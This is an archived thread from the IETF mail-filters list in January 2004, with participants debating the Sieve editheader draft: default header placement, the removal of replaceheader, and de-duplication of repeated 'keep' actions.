AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------357723350507838--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G6kAib016806; Thu, 15 Jan 2004 22:46:10 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G6kANH016804; Thu, 15 Jan 2004 22:46:10 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0G6k8ib016784 for <[e-mail]>; Thu, 15 Jan 2004 22:46:09 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 29373 invoked from network); 16 Jan 2004 01:46:11 -0500
Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 16 Jan 2004 01:46:11 -0500
X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net
Received: (qmail 12083 invoked by uid 101); 16 Jan 2004 01:46:09 -0500
From: "Mark E. Mallett" <[e-mail]>
Date: Fri, 16 Jan 2004 01:46:09 -0500
To: Philip Guenther <[e-mail]>
Cc: "Mark E. Mallett" <[e-mail]>, [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <[e-mail]>
User-Agent: Mutt/1.4.1i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Thu, Jan 15, 2004 at 08:35:51PM -0800, Philip Guenther wrote:
> "Mark E. Mallett" <[e-mail]> writes:
> ... [regarding default placement of added header fields]
> >My contention is that in a local
> >delivery mode, one ought to be able to do to the mail what one wants
> >to do to it.  As I said, I could see where there could be more
> >constraints on a filter that was operating in other than local
> >delivery mode.  However I think it would be a shame to cripple a local
> >delivery agent for that reason:  it would be better to define an
> >operational mode that had more constraints if one wanted.
> 
> Given that the draft *does* provide a means to do what you want
> (place the added header field at the end of the header instead of
> the beginning), calling an agent that follows the draft 'crippled'
> seems like pure hyperbole.

I didn't say that last phrase, so it's hard to respond to it.  An agent
that follows this draft in either of its last two forms is not
crippled.  I didn't even say (or intend to say, though I think I can
see how it got inferred) that the draft is "crippled" by the default
being the beginning rather than the end.  I was talking about the line
of reasoning leading up to this point:  i.e., that there is a
precedent set by MTAs prepending headers, and MUAs appending them.  I
said that a SIEVE filter (certainly by one definition) can commonly be
a local agent acting on behalf of the mailbox owner.  I said that I
could imagine another mode where it was acting more MTA-like, and that
perhaps a mode could be defined where the filter was not allowed such
a free hand (since it would be operating on mail *other* than that
owned by the person directing it).  (In fact I think it would be
useful to make that role distinction when talking about what a filter
can and can not do.)  I then said that that hypothetical mode should
not be the one that dictated the way drafts (or agents) were written;
if it were, it would be restrictive (i.e., crippling) for the LDA
role.  It's a few steps back from that philosophical observation to
the specific item in the draft, sorry about the apparent connection.


> Can you refute the previously provided
> reasons for defaulting to prepending or otherwise provide a
> countervailing argument?

Not "refute" -- no.  Disagree with, yes, but really only mildly, and
I've outlined why a few times.  If I wasn't clear I can try again, but
I doubt that people need to have me belabor it.  For reasons I've
already given I feel that appending is better for a final delivery
agent.  A draft stage is where one puts in these opinions so I am:
obviously other(s) felt similarly motivated, though in the other
direction, between the last two drafts.  I would even suggest having
the default be implementation-dependent, and if one wanted to be
explicit one would use :first or :last .


> ... [regarding replaceheader]
> 
> The question isn't whether replaceheader should be described in an
> rfc.  The question is whether addheader and deleteheader should be
> held up while the people try to reach consensus on replaceheader.
> It's one thing to combine separable extensions in a single document
> when they're all ready to go at the same time, but that isn't true
> here.

Yeah- that's one reason I was wondering where this discussion had
taken place up to now (between the last two drafts, that is).  If
you've been involved in discussing it you have a different perspective
than I, who only knows that it is gone and wonders why, and wonders
what will become of it.  I certainly understand the goal of pragmatism,
especially if there's conflict over "replaceheader".  But it's also
a good goal to have an extension that encapsulates all related functions.

Yours,
-mm-


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G4Zsib093347; Thu, 15 Jan 2004 20:35:54 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G4ZsuC093346; Thu, 15 Jan 2004 20:35:54 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G4Zrib093341 for <[e-mail]>; Thu, 15 Jan 2004 20:35:53 -0800 (PST) (envelope-from [e-mail])
Received: from katroo.Sendmail.COM (natted.sendmail.com [63.211.143.38]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0G4ZqQB024896; Thu, 15 Jan 2004 20:35:52 -0800 (PST)
Received: from functor.smi.sendmail.com (functor.smi.sendmail.com [10.210.202.37]) by katroo.Sendmail.COM (8.11.7a/8.11.7) with ESMTP id i0G4Zpn12653; Thu, 15 Jan 2004 20:35:52 -0800 (PST)
Message-Id: <[e-mail]>
To: "Mark E. Mallett" <[e-mail]>
Cc: [e-mail]
From: Philip Guenther <[e-mail]>
Subject: Re: draft-degener-sieve-editheader-01.txt 
In-reply-to: <[e-mail]> 
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>  <[e-mail]> 
Date: Thu, 15 Jan 2004 20:35:51 -0800
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

"Mark E. Mallett" <[e-mail]> writes:
... [regarding default placement of added header fields]
>My contention is that in a local
>delivery mode, one ought to be able to do to the mail what one wants
>to do to it.  As I said, I could see where there could be more
>constraints on a filter that was operating in other than local
>delivery mode.  However I think it would be a shame to cripple a local
>delivery agent for that reason:  it would be better to define an
>operational mode that had more constraints if one wanted.

Given that the draft *does* provide a means to do what you want
(place the added header field at the end of the header instead of
the beginning), calling an agent that follows the draft 'crippled'
seems like pure hyperbole.  Can you refute the previously provided
reasons for defaulting to prepending or otherwise provide a
countervailing argument?


... [regarding replaceheader]
>There certainly could be situations where replaceheader can't
>do what you want: but that's no reason to remove it.

It wasn't removed because it didn't do what was wanteded; it was
removed because people felt it too complicated and had various
hairy problems (for example, involving rfc2047-encoded words).

...
>That's not really what I was getting at.  I'd want to see
>"replaceheader" retained in the draft, even if it's as a "MAY" with a
>separate capability name (a la the "envelope" precedent) rather than
>punted like that with no chance for uniform implementation of optional
>facilities.  Certainly anything can be incorporated in a private
>implementation, but that's not this discussion.

The question isn't whether replaceheader should be described in an
rfc.  The question is whether addheader and deleteheader should be
held up while the people try to reach consensus on replaceheader.
It's one thing to combine separable extensions in a single document
when they're all ready to go at the same time, but that isn't true
here.


Philip Guenther
[e-mail]


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G2qiib089264; Thu, 15 Jan 2004 18:52:44 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G2qiGK089263; Thu, 15 Jan 2004 18:52:44 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0G2qhib089257 for <[e-mail]>; Thu, 15 Jan 2004 18:52:43 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 20978 invoked from network); 15 Jan 2004 21:52:45 -0500
Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 15 Jan 2004 21:52:45 -0500
X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net
Received: (qmail 7282 invoked by uid 101); 15 Jan 2004 21:52:44 -0500
From: "Mark E. Mallett" <[e-mail]>
Date: Thu, 15 Jan 2004 21:52:44 -0500
To: Jutta Degener <[e-mail]>
Cc: [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <[e-mail]>
User-Agent: Mutt/1.4.1i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Thu, Jan 15, 2004 at 04:50:14PM -0800, Jutta Degener wrote:
> > But in the (more common) case where
> > the filter is operating on behalf of the recipient, I would want to be
> > able to do the changes I want done.  (kind of a tautology there.)
> 
> I don't think we have enough data to judge which use of
> this proposed extension is common.

I was referring to common use of sieve, per its stated design as a
final delivery agent.  However, I did allude to the possibility that a
sieve filter *could* be used in a pass-through mode, since you were
the one who was talking about MTA-like properties providing precedent
for header placement, and I was making some conjectures about where
that perspective was coming from.  My contention is that in a local
delivery mode, one ought to be able to do to the mail what one wants
to do to it.  As I said, I could see where there could be more
constraints on a filter that was operating in other than local
delivery mode.  However I think it would be a shame to cripple a local
delivery agent for that reason:  it would be better to define an
operational mode that had more constraints if one wanted.



> > > > And.. what about replaceheader?
> > > 
> > > As mentioned in section 9.1, replaceheader is no longer in the draft.
> > > My implementation still has it, but it's a vendor-specific extension
> > > after encountering determined opposition from some members of the
> > > work group.  If you implement it, the rules with respect to duplication
> > > would be the same as for add- and deleteheader.
> > 
> > Hmm- certainly seems like replaceheader is a convenient shortcut
> > for "deleteheader" and "replaceheader" -- except that you lose
> > position, which I consider a loss (for reasons given above).
> 
> You lose count, too; if multiple headers of the same sort are present,
> you can't generally rename them (e.g., Cc to Resent-Cc) because you
> can't loop in sieve.

While that is true (no loops), I'm not sure it's a real answer.  There
are ways to address that concern, a couple of which you illustrated in
a previous draft (nicely showing its usefulness).  Rename them all,
rename the nth one, rename the ones matching a pattern, per prior
draft.  There certainly could be situations where replaceheader can't
do what you want: but that's no reason to remove it.


> > How does a vendor-specific extension get specified vis-a-vis "require" ?
> 
> RFC 3028, section 6.1.  Their name starts with "vnd."

That's not really what I was getting at.  I'd want to see
"replaceheader" retained in the draft, even if it's as a "MAY" with a
separate capability name (a la the "envelope" precedent) rather than
punted like that with no chance for uniform implementation of optional
facilities.  Certainly anything can be incorporated in a private
implementation, but that's not this discussion.


> 
> > And in that light, could not the rules for duplication also become
> > "vendor-specific" ?
> 
> In general, I don't think that's a good way of dealing with conflicting
> opinions about details of an implementation.

My point too :-)

mm


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G0oVib080211; Thu, 15 Jan 2004 16:50:31 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0G0oVje080210; Thu, 15 Jan 2004 16:50:31 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0G0oUib080204 for <[e-mail]>; Thu, 15 Jan 2004 16:50:30 -0800 (PST) (envelope-from [e-mail])
Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0G0oWOv020505 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for <[e-mail]>; Thu, 15 Jan 2004 16:50:32 -0800 (PST)
Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0G0oWO7025047 for <[e-mail]>; Thu, 15 Jan 2004 16:50:32 -0800
Received: by jutta.sendmail.com (Postfix, from userid 500) id CD60B179C0; Thu, 15 Jan 2004 16:50:14 -0800 (PST)
Date: Thu, 15 Jan 2004 16:50:14 -0800
From: Jutta Degener <[e-mail]>
To: [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <[e-mail]>
User-Agent: Mutt/1.3.24i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> But in the (more common) case where
> the filter is operating on behalf of the recipient, I would want to be
> able to do the changes I want done.  (kind of a tautology there.)

I don't think we have enough data to judge which use of
this proposed extension is common.

> > > And.. what about replaceheader?
> > 
> > As mentioned in section 9.1, replaceheader is no longer in the draft.
> > My implementation still has it, but it's a vendor-specific extension
> > after encountering determined opposition from some members of the
> > work group.  If you implement it, the rules with respect to duplication
> > would be the same as for add- and deleteheader.
> 
> Hmm- certainly seems like replaceheader is a convenient shortcut
> for "deleteheader" and "replaceheader" -- except that you lose
> position, which I consider a loss (for reasons given above).

You lose count, too; if multiple headers of the same sort are present,
you can't generally rename them (e.g., Cc to Resent-Cc) because you
can't loop in sieve.

> This response brings up a couple new questions too, which can only
> be explained by my ignorance I'm afraid, but here goes:
> 
> Is there a separate work group for "editheader"?

There's no IETF work group (anymore) for sieve -- so all extensions are
formally private submissions, although they do tend to refernce to this
mailing list as a point of discussion.

> How does a vendor-specific extension get specified vis-a-vis "require" ?

RFC 3028, section 6.1.  Their name starts with "vnd."

> And in that light, could not the rules for duplication also become
> "vendor-specific" ?

In general, I don't think that's a good way of dealing with conflicting
opinions about details of an implementation.

Jutta


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0FNteib078360; Thu, 15 Jan 2004 15:55:40 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0FNteAM078359; Thu, 15 Jan 2004 15:55:40 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mercury.mv.net (mercury.mv.net [199.125.85.40]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0FNtcib078352 for <[e-mail]>; Thu, 15 Jan 2004 15:55:38 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 11809 invoked from network); 15 Jan 2004 18:55:36 -0500
Received: from iridium.mv.net (HELO mv.mv.com) (199.125.85.17) by mercury.mv.net with SMTP; 15 Jan 2004 18:55:35 -0500
X-Peer-Info: remote-ip 199.125.85.17 local-ip 199.125.85.40 local-name mercury.mv.net
Received: (qmail 2719 invoked by uid 101); 15 Jan 2004 18:55:35 -0500
From: "Mark E. Mallett" <[e-mail]>
Date: Thu, 15 Jan 2004 18:55:35 -0500
To: Jutta Degener <[e-mail]>
Cc: "Mark E. Mallett" <[e-mail]>, [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <[e-mail]>
User-Agent: Mutt/1.4.1i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Wed, Jan 07, 2004 at 04:53:37PM -0800, Jutta Degener wrote:

Hi-  thanks for the responses.  Sorry it's been over a week.


> On Wed, Jan 07, 2004 at 06:03:04PM -0500, Mark E. Mallett wrote:
> > Two very interesting changes in this draft:
> >
> > >    	"addheader" [":last"] <name: string> <value: string>
> > > 
> > >    By default, the header field is inserted at the beginning of
> > >    the existing header.  If the optional flag ":last" is
> > >    specified, it is appended at the end.
> > 
> > What's the rationale?  So far (i.e., without hearing more), I liked it
> > better the way it was: the default being to add the header at the end,
> > not the beginning.  I would not mind seeing a ":first" to alter that
> > behaviour though.
> 
> It's much easier to insert a header field at the beginning of
> a header (one simply sends that header field, then the text of
> a message).  Perhaps as a result of that, the fields at the
> beginning of the message have taken on the character of a
> delivery "trace", while the fields at the end of the block
> typically were inserted by the client.

I don't look at it that way, myself.  Not to mention that I don't
think "ease" has anything to do with it in a sieve application: that
application is manipulating the message, and so putting the header one
place is no more difficult than putting it another.  I do follow that
you are explaining why adding at the beginning is a precedent.  However
it's a precedent for a different context.


> Some people who talked to me felt very strongly that additions
> to the trace section in the right place were more in keeping with
> what's considered allowable header modifications, while inserting
> in the middle, with no way of tracking who did that, should only
> happen if explicitly requested.

I would disagree with those people :-)  We're not talking MTA here nor
are we talking about trace fields: we're talking about manipulating a
message where there is the presumption that one has the right to do
so, in the same way that one can go into a text editor and manipulate
it.  Admittedly there is a quasi- area where a sieve filter can be
applied in a forwarding context.  But in the (more common) case where
the filter is operating on behalf of the recipient, I would want to be
able to do the changes I want done.  (kind of a tautology there.)


Regarding the duplicate "keep" after a changed message:

> > I see where that is coming from.  If you do a "keep" after changing
> > the header, it's assumed that you really meant it; and if weeding out
> > duplicate "keep" operations prevents that, then you have lost some
> > change.  However: you have not lost the message unless some prior
> > action had deliberately caused it; any weeding out represents a script
> > error rather than loss of the message, so I am not sure this is an
> > improvement.
> 
> In an ambiguous and possibly erroneous situation, I prefer to err
> on the side of shorter explanations and more saved information.

I think the shortest explanation would be not to introduce the
"changed message" concept.  One might say that if one has done a "keep"
then changed the message then did a "keep" again, an error can occur no
matter how you look at it, so keeping the traditional de-duplication
logic is better.  I find this new potential for duplicate filings
disturbing.



> > One alternative: make a note that the message has changed, and if so,
> > inhibit any subsequent de-duplication logic on the next action only.
> 
> That seems difficult to explain.  I don't see why the first of
> any number of duplicate fileinto's etc. should receive preferential
> treatment.

Because of what I said in the original message:

     On the flip side, anyone who has depended on duplicate "keep"
     operations being weeded out will be surprised by having two
     messages filed.  Likely if you have done a "keep" in the same
     code area as the addheader, you probably do want the second
     copy.  But in another case?  Not so clear, especially if you have
     done something else with the message after changing the header.

I guess I wasn't clear with that.  I was trying to say that it's likely
that if you do an immediate "keep" right after the addheader, you
probably meant to keep the changed message.  But if there's a "keep"
far away further in the script, you probably want the de-duplication
to happen (i.e., supress that other far-away "keep").  I was trying to
invent some reason why you would really want the second keep to file
the message again (after a change), and contrast that with what I
consider to be the standard case where you don't want it to happen, and
then come up with a generic rule to infer intent as expressed in the
language.  Perhaps a better inference would be:  if there is a header
modification followed by an action within the same code block (block
enclosed by curly braces), ignore the de-duplication and perform the
action anyway.

The bottom line is that I don't like the part where normal de-duplication
is inhibited.  I'd vote for getting rid of the new stuff about the changed
message, and if that prevents the filing of a changed message, fix the
script :-)


> > And.. what about replaceheader?
> 
> As mentioned in section 9.1, replaceheader is no longer in the draft.
> My implementation still has it, but it's a vendor-specific extension
> after encountering determined opposition from some members of the
> work group.  If you implement it, the rules with respect to duplication
> would be the same as for add- and deleteheader.

Hmm- certainly seems like replaceheader is a convenient shortcut
for "deleteheader" and "replaceheader" -- except that you lose
position, which I consider a loss (for reasons given above).
(As I recall, earlier discussion included some finer control over
header placement; again, losing that is, it seems to me, a loss.)

This response brings up a couple new questions too, which can only
be explained by my ignorance I'm afraid, but here goes:

Is there a separate work group for "editheader"?  I had thought from
the archives that it open for discussion here.  What other work groups
are there?

How does a vendor-specific extension get specified vis-a-vis "require" ?
And in that light, could not the rules for duplication also become
"vendor-specific" ?

Yours,
mm


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0843Pib001075 for <[e-mail]>; Wed, 7 Jan 2004 20:03:25 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0843Pg7001074 for ietf-mta-filters-bks; Wed, 7 Jan 2004 20:03:25 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0843Oib001069 for <[e-mail]>; Wed, 7 Jan 2004 20:03:24 -0800 (PST) (envelope-from [e-mail])
Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0843QUm029288 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for <[e-mail]>; Wed, 7 Jan 2004 20:03:27 -0800 (PST)
Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0843Qpb019392 for <[e-mail]>; Wed, 7 Jan 2004 20:03:26 -0800
Received: by jutta.sendmail.com (Postfix, from userid 500) id A5147179C2; Wed,  7 Jan 2004 20:03:23 -0800 (PST)
Date: Wed, 7 Jan 2004 20:03:23 -0800
From: Jutta Degener <[e-mail]>
To: [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]> <015d01c3d593$647565b0$[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <015d01c3d593$647565b0$[e-mail]>
User-Agent: Mutt/1.3.24i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Thu, Jan 08, 2004 at 02:59:11AM -0000, Nigel Swinson wrote:
> So it seems that as it is written, editheader is putting strong bias on
> "take actions as you go" implementations.

What was intended was merely a strong bias for a "take
actions as you go" *model*.  I think that's easier to explain
and remember for users.

As an implementor, you can postpone header edits in the same
way you postpone other commands; you just need to keep track of
what the header looks like right now, and remember which
deliveries picked up which modifications.

Jutta


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i083LBib098611 for <[e-mail]>; Wed, 7 Jan 2004 19:21:11 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i083LBgq098610 for ietf-mta-filters-bks; Wed, 7 Jan 2004 19:21:11 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from starship.enterprise.ucs.ed.ac.uk (starship.enterprise.ucs.ed.ac.uk [129.215.40.70]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i083L9ib098604 for <[e-mail]>; Wed, 7 Jan 2004 19:21:10 -0800 (PST) (envelope-from [e-mail])
Received: from SCOTTY (unverified [129.215.188.53]) by starship.enterprise.ucs.ed.ac.uk (Rockliffe SMTPRA 5.3.3) with ESMTP id <[e-mail]>; Thu, 8 Jan 2004 02:59:11 +0000
Message-ID: <015d01c3d593$647565b0$[e-mail]>
From: "Nigel Swinson" <[e-mail]>
To: "Jutta Degener" <[e-mail]>, "Mark E. Mallett" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Subject: Re: draft-degener-sieve-editheader-01.txt
Date: Thu, 8 Jan 2004 02:59:11 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> > >    A message modified by addheader or deleteheader MUST NOT
> > >    be considered the same as the original message unless it
> > >    matches the original message exactly.
> > >
> > >    For example, the following code fragment
> > >
> > >    keep;
> > > addheader "X-Flavor: vanilla"
> > > keep;
> > >
> > >    files two messages, not one.

The above represents a problem for those of us who have read section 2.10.6
of 3028 and decided to do a full execution of the script, then apply all
actions.... if we come across a script like this:

 keep;
 addheader "X-Flavor: vanilla"
 keep;
 addheader "X-Flavor: strawberry"
 keep;
 addheader "X-Flavor: chocolate"
 keep;
 addheader "X-Flavor: pistachio"
 keep;
 addheader "X-Flavor: bannana"
 keep;

And we are filtering a large message (Say 20MB), then the simple and obvious
implementation is going to have to freeze a copy of the message every time
it sees fileinto/redirect/keep and then if it sees addheader/removeheader it
will need to create a copy of the message.  This means that with the above
script we'll end up with 6 different copies of the message = 120MB of
memory/storage.  Sounds like a potential security hole.

So it seems that as it is written, editheader is putting strong bias on
"take actions as you go" implementations.  Do we want do do this?

I can't see that the above functionality is really all that useful, so at
the moment I'm inclined to say that we move more towards section "2.10.3
Message Uniqueness in a Mailbox" of 3028 which says:

   Implementations SHOULD NOT deliver a message to the same folder more
   than once, even if a script explicitly asks for a message to be
   written to a mailbox twice.

I think it makes it too complicated to consider there to be any more than
one "message" in context when processing the script.

So what should the keep/addheader/keep script do?  I recon it files one copy
of the message into the inbox, and the implementation is free to either add
the version with or without the header.  If the user really wants to keep a
copy that does NOT have the header, then they do keep/stop.  If they want
one with the header they do addheader/keep.

I know some will probably not like the above, but then 3028 already permits
implementations to operate differently WRT to some situations like catching
errors.  ie an "action-as-you-go" with a fileinto/reject/reject script may
file the message before producing an error, so I think it would be ok for
this slightly peculiar case to operate in an implementation specific way.

Nigel



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i081o5ib091814 for <[e-mail]>; Wed, 7 Jan 2004 17:50:05 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i081o5TN091813 for ietf-mta-filters-bks; Wed, 7 Jan 2004 17:50:05 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i081o4ib091804 for <[e-mail]>; Wed, 7 Jan 2004 17:50:04 -0800 (PST) (envelope-from [e-mail])
Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i081o6Ti009536 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 7 Jan 2004 17:50:06 -0800 (PST)
Received: from jutta.sendmail.com ([10.210.112.12]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i081o5gF006098; Wed, 7 Jan 2004 17:50:06 -0800
Received: by jutta.sendmail.com (Postfix, from userid 500) id 0497D179C2; Wed,  7 Jan 2004 17:50:03 -0800 (PST)
Date: Wed, 7 Jan 2004 17:50:03 -0800
From: Jutta Degener <[e-mail]>
To: "Mark E. Mallett" <[e-mail]>
Cc: [e-mail]
Subject: Re: draft-degener-sieve-body-02.txt
Message-ID: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <[e-mail]>
User-Agent: Mutt/1.3.24i
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Wed, Jan 07, 2004 at 06:56:30PM -0500, Mark E. Mallett wrote:
> 
